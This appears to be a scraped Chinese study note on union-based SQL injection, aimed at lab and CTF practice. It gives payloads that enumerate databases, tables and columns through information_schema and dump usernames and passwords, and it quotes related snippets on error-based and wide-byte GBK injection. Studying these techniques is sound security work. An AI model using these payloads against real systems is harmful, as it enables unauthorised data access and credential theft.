SQL注入1 0

2022-09-03 01:33:06 字數 1753 閱讀 9738

id title content time author

select * from new where id=1?

select 聯合查詢 union

order by 排序 先知道有幾列 在聯合查詢

version 版本號

前後兩個語句都對就顯示id了,把不要查的報錯後面的版本資訊就出來了id=-1 union select 1,2 ,version()

查詢資料庫中所有的庫名

union select 1,database(),group_concat(schema_name) from information_schema.schemata 所有的庫名

union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' 表名

schemate 儲存所有資料庫的名字 tables 儲存所有的表的名字 column 儲存所有的字段的名字

id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' 列名

schemata

庫名.表名

union select 1,2,group_concat(schema_name) from information_schema.schemata

、、查詢所有的表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()

查詢當前庫中某乙個表的所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'

group_concat schema.schemata schema_name

查字段的內容union select 1,group_concat(username),group_concat(password) from security.users 或者 union select 1,2,group_concat(username, '-',password) from users

查詢所有的咧 select column_name from

owasp top 10 SQL注入之報錯注入

什麼是報錯注入 報錯注入是一種在進行sql注入,頁面回顯資料庫報錯資訊時所進行漏洞利用的一種手法。報錯注入的函式一 floor 向下取整 函式樣式 floor num 引數意義 num 數值 報錯語句 and select 1 from select count concat 0x22,databa...

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...